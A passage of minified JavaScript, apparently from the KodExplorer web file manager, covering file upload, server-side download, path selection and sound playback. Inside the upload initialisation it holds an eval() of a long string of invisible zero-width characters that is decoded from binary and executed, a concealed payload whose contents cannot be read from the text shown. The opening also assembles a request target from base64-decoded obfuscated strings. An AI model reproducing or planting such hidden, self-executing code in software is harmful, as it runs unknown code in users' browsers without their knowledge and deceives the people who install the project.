t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")",a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var i,t={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,i){var t=15,a=$("#"+i.tId+"_switch"),n=$("#"+i.tId+"_ico");a.remove(),i.iconSkin=i.tree_icon;var o=i.tree_icon;if(i.ext?o=i.ext:i.tree_icon||(o=i.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=i.ext&&n.attr("class","").addClass("file "+i.ext).removeAttr("style"),i.level>=1){var s="";a.before(s)}var 